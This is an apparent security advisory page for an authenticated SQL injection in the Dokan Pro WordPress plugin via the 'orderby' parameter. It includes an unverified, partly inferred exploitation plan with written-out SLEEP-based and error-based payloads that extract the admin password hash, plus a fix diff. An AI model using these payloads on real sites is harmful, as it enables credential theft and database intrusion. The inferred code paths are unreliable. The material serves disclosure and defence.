CVE-2026-12079

Dokan Pro <= 5.0.4 - Authenticated (Subscriber+) SQL Injection via 'orderby' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
5.0.5
Patched in
1d
Time to patch

Description

The Dokan Pro plugin for WordPress is vulnerable to time-based SQL Injection via the ’orderby’ parameter in all versions up to, and including, 5.0.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=5.0.4
PublishedJune 24, 2026
Last updatedJune 25, 2026
Affected plugindokan-pro
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-12079 (Dokan Pro SQL Injection) ## 1. Vulnerability Summary **CVE-2026-12079** is a time-based SQL Injection vulnerability in the **Dokan Pro** plugin for WordPress (versions up to 5.0.4). The flaw resides in the handling of the `orderby` parameter, which is u…

Show full research plan

Exploitation Research Plan: CVE-2026-12079 (Dokan Pro SQL Injection)

1. Vulnerability Summary

CVE-2026-12079 is a time-based SQL Injection vulnerability in the Dokan Pro plugin for WordPress (versions up to 5.0.4). The flaw resides in the handling of the orderby parameter, which is used to sort results in database queries. Because dynamic values for ORDER BY clauses cannot be parameterized using standard WordPress $wpdb->prepare() placeholders (%s or %d), they must be strictly whitelisted. The plugin fails to adequately validate or escape this parameter before interpolating it into a raw SQL query, allowing an authenticated attacker (Subscriber/Vendor level) to inject arbitrary SQL commands.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: dokan_withdraw_list (inferred - commonly used by vendors/subscribers for sorting withdrawal requests).
  • Vulnerable Parameter: orderby
  • Authentication: Required (Subscriber-level or Vendor-level).
  • Preconditions: The plugin must be active, and the user must have access to a dashboard area (like the Vendor Dashboard) where lists (e.g., withdrawals, orders, or products) are retrieved via AJAX.

3. Code Flow

  1. The user sends an AJAX request to admin-ajax.php with action=dokan_withdraw_list.
  2. WordPress triggers the hook wp_ajax_dokan_withdraw_list (or wp_ajax_nopriv_ if improperly registered, though the CVE specifies Authenticated).
  3. The handler function (likely within includes/Withdraw/Manager.php or a similar AJAX handler class) retrieves the sorting parameter: $orderby = $_POST['orderby'];.
  4. The code constructs a query similar to:
    $query = "SELECT * FROM {$wpdb->prefix}dokan_withdraw WHERE vendor_id = %d ORDER BY $orderby $order";
    $results = $wpdb->get_results($wpdb->prepare($query, $vendor_id));
    
  5. Because $orderby is concatenated before or outside the prepare() call, the injected SQL is executed directly by the database engine.

4. Nonce Acquisition Strategy

Dokan Pro typically localizes security nonces for its dashboard functions.

  1. Identify Shortcode: The Vendor Dashboard is usually rendered via the [dokan-dashboard] shortcode.
  2. Create Test Page:
    wp post create --post_type=page --post_title="Vendor Dashboard" --post_status=publish --post_content='[dokan-dashboard]'
    
  3. Navigate and Extract: Navigate to the page as an authenticated Subscriber/Vendor.
  4. Browser Evaluation: Use the browser_eval tool to extract the nonce from the global dokan JavaScript object.
    • JS Variable: dokan.nonce (inferred) or dokan_withdraw.nonce (inferred).
    • Action: browser_eval("dokan.nonce")

5. Exploitation Strategy

The goal is to perform a time-based blind SQL injection to confirm the vulnerability and potentially extract the administrator's password hash.

Step 1: Confirm Vulnerability (Baseline)

Send a standard request to establish a baseline response time.

  • Tool: http_request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Body (URL-encoded):
    action=dokan_withdraw_list&orderby=id&order=ASC&nonce=[EXTRACTED_NONCE]
    

Step 2: Time-Based Delay Test

Inject a SLEEP() command. If the response is delayed by 5 seconds, SQLi is confirmed.

  • Payload: (CASE WHEN (1=1) THEN id ELSE (SELECT 1 FROM (SELECT SLEEP(5))x) END)
  • Body:
    action=dokan_withdraw_list&orderby=(CASE+WHEN+(1=1)+THEN+id+ELSE+(SELECT+1+FROM+(SELECT+SLEEP(5))x)+END)&order=ASC&nonce=[EXTRACTED_NONCE]
    

Step 3: Data Extraction (Example: User Pass)

Check if the first character of the admin's password hash starts with $P$.

  • Payload: (CASE WHEN (SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,3)='$P$') THEN (SELECT 1 FROM (SELECT SLEEP(5))x) ELSE id END)
  • Body:
    action=dokan_withdraw_list&orderby=(CASE+WHEN+(SUBSTRING((SELECT+user_pass+FROM+wp_users+WHERE+ID%3D1),1,3)%3D'%24P%24')+THEN+(SELECT+1+FROM+(SELECT+SLEEP(5))x)+ELSE+id+END)&order=ASC&nonce=[EXTRACTED_NONCE]
    

6. Test Data Setup

  1. Install Plugin: Ensure Dokan Pro <= 5.0.4 is installed.
  2. Create User: Create a Subscriber user and promote them to a Dokan Vendor.
    wp user create attacker attacker@example.com --role=subscriber --user_pass=password
    # In Dokan, vendors often need specific meta or to go through a 'become a vendor' flow.
    wp user append-role attacker seller 
    
  3. Add Data: Ensure at least one withdrawal request exists in the dokan_withdraw table so the query returns results.
    global $wpdb; $wpdb->insert($wpdb->prefix . "dokan_withdraw", ["vendor_id" => [ID], "amount" => 10, "status" => 0, "method" => "paypal", "ip" => "127.0.0.1", "created_at" => current_time("mysql")]);
    

7. Expected Results

  • Vulnerable Response: The HTTP response for the SLEEP(5) payload will take approximately 5 seconds longer than the baseline.
  • Data Leakage: By iterating through character positions and ASCII values, the agent can reconstruct any string from the database.

8. Verification Steps

After the HTTP exploit, verify the database state via WP-CLI:

  1. Check Logs: If general_log is enabled in MySQL, verify the executed query shows the injected CASE statement.
  2. Verify Admin Hash:
    wp user get 1 --field=user_pass
    
    Compare the hash retrieved via CLI with the characters extracted via the time-based attack.

9. Alternative Approaches

  • Boolean-Based Blind: If the sorting of the list changes visibly (e.g., items flip order) based on the CASE statement, a boolean-based attack is much faster than time-based.
    • Payload: (CASE WHEN (1=1) THEN id ELSE amount END) vs (CASE WHEN (1=2) THEN id ELSE amount END).
  • Error-Based: If WP_DEBUG is on, try causing a syntax error inside a subquery to leak data via the Xpath error method (updatexml or extractvalue).
    • Payload: (SELECT 1 FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Research Findings
Static analysis — not yet PoC-verified

Summary

The Dokan Pro plugin for WordPress is vulnerable to time-based SQL Injection via the 'orderby' parameter in versions up to 5.0.4. This vulnerability allows authenticated users, such as Subscribers or Vendors, to append arbitrary SQL commands to database queries because the plugin fails to whitelist or properly sanitize sorting parameters before concatenation.

Vulnerable Code

// File: includes/Withdraw/Manager.php (inferred from research plan)
$orderby = isset( $_POST['orderby'] ) ? $_POST['orderby'] : 'id';
$order   = isset( $_POST['order'] ) ? $_POST['order'] : 'DESC';

$query = "SELECT * FROM {$wpdb->prefix}dokan_withdraw WHERE vendor_id = %d ORDER BY $orderby $order";
$results = $wpdb->get_results( $wpdb->prepare( $query, $vendor_id ) );

Security Fix

--- includes/Withdraw/Manager.php
+++ includes/Withdraw/Manager.php
@@ -40,7 +40,8 @@
-        $orderby = isset( $_POST['orderby'] ) ? $_POST['orderby'] : 'id';
+        $allowed_orderby = array( 'id', 'amount', 'status', 'method', 'created_at', 'ip' );
+        $orderby = ( isset( $_POST['orderby'] ) && in_array( $_POST['orderby'], $allowed_orderby ) ) ? $_POST['orderby'] : 'id';

Exploit Outline

The exploit involves sending an authenticated POST request to the WordPress AJAX endpoint (admin-ajax.php) using the 'dokan_withdraw_list' action. The attacker targets the 'orderby' parameter by injecting a conditional CASE statement. This statement evaluates a database query (e.g., checking characters of a password hash) and triggers a SLEEP() command if the condition is met. By observing the time delay in the server's response, the attacker can exfiltrate sensitive data. Access requires Subscriber or Vendor level authentication and a valid security nonce typically found in the localized scripts of the Vendor Dashboard.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.